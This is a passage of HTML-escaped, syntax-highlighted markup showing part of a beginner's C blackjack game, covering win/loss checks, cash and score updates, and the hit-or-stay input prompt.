14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;21&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;)&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(153, 153, 153); font-size: 14pt;&quot;&gt;//If&amp;nbsp;user&amp;nbsp;total&amp;nbsp;is&amp;nbsp;21,&amp;nbsp;win&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;printf&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;&quot;\nUnbelievable!&amp;nbsp;You&amp;nbsp;Win!\n&quot;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;);&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;won&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;won&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;cash&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;cash&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;bet;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;printf&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;&quot;\nYou&amp;nbsp;have&amp;nbsp;%d&amp;nbsp;Wins&amp;nbsp;and&amp;nbsp;%d&amp;nbsp;Losses.&amp;nbsp;Awesome!\n&quot;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;,&amp;nbsp;won,&amp;nbsp;loss);&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;dealer_total&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;askover();&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(p&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;21&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;)&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(153, 153, 153); font-size: 14pt;&quot;&gt;//If&amp;nbsp;player&amp;nbsp;total&amp;nbsp;is&amp;nbsp;over&amp;nbsp;21,&amp;nbsp;loss&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;printf&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;&quot;\nWoah&amp;nbsp;Buddy,&amp;nbsp;You&amp;nbsp;Went&amp;nbsp;WAY&amp;nbsp;over.\n&quot;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;);&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;loss&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;loss&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;cash&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;cash&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;bet;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;printf&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;&quot;\nYou&amp;nbsp;have&amp;nbsp;%d&amp;nbsp;Wins&amp;nbsp;and&amp;nbsp;%d&amp;nbsp;Losses.&amp;nbsp;Awesome!\n&quot;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;,&amp;nbsp;won,&amp;nbsp;loss);&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;dealer_total&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;askover();&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(p&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;21&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;)&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(153, 153, 153); font-size: 14pt;&quot;&gt;//If&amp;nbsp;player&amp;nbsp;total&amp;nbsp;is&amp;nbsp;less&amp;nbsp;than&amp;nbsp;21,&amp;nbsp;ask&amp;nbsp;to&amp;nbsp;hit&amp;nbsp;or&amp;nbsp;stay&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;printf&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;&quot;\n\nWould&amp;nbsp;You&amp;nbsp;Like&amp;nbsp;to&amp;nbsp;Hit&amp;nbsp;or&amp;nbsp;Stay?&quot;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;);&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;scanf&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;&quot;%c&quot;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;choice3);&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;while&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;((choice3&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;'H'&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;)&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;(choice3&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;'h'&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;)&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;(choice3&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;'S'&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;)&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;(choice3&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;'s'&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;))&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(153, 153, 153); font-size: 14pt;&quot;&gt;//&amp;nbsp;If&amp;nbsp;invalid&amp;nbsp;choice&amp;nbsp;entered&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;printf&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;&quot;\n&quot;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;);&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;printf&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;&quot;Please&amp;nbsp;Enter&amp;nbsp;H&amp;nbsp;to&amp;nbsp;Hit&amp;nbsp;or&amp;nbsp;S&amp;nbsp;to&amp;nbsp;Stay.\n&quot;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;);&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;scanf&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;&quot;%c&quot;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;choice3);&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;((choice3&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;'H'&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;)&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;|&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;|&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;(choice3&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;'h'&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;))&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(153, 153, 153); font-size: 14pt;&quot;&gt;//&amp;nbsp;If&amp;nbsp;Hit,&amp;nbsp;continues&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;randcard();&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;player_total&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;p&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); 